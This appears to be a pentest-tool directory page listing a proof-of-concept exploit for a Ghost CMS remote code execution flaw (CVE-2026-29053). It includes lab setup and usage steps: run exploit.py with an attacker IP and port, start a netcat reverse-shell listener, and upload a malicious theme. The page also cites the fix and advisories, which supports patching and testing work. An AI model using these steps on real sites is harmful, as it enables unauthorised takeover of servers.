Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-29053 — Proof-of-concept exploit for Ghost CMS remote code execution via prototype pollution in jsonpath and static-eval, with a vulnerable environment setup and usage instructions. | Kitploit
Tools/GitHubGitHub/rootxran/cve-2026-29053
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPayload Development
GitHubrootxran/cve-2026-29053

CVE-2026-29053

Proof-of-concept exploit for Ghost CMS remote code execution via prototype pollution in jsonpath and static-eval, with a vulnerable environment setup and usage instructions.

View Repository
26 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-29053

Ghost CMS RCE via jsonpath/static-eval prototype chain.

Info

  • CVE: CVE-2026-29053
  • Affected: Ghost <= 6.19.0 with jsonpath 1.1.1 + static-eval 2.0.2
  • Fixed: 6.19.1

Demo

CVE-2026-29053.webm

Setup Vulnerable Environment

root@kitploit:~
cd build
./build.sh

Usage

root@kitploit:~
python3 exploit.py -i <YOUR_IP> -p <PORT>
  1. Start listener: nc -lvnp <PORT>
  2. Upload malicious-theme.zip to Ghost Admin → Settings → Design
  • Create page with slug rce
  • Visit /rce/

    • References

    • https://github.com/TryGhost/Ghost/security/advisories/GHSA-cgc2-rcrh-qr5x
    • https://www.endorlabs.com/learn/rce-in-ghost-cms-ghsa-cgc2-rcrh-qr5x
    Download Tool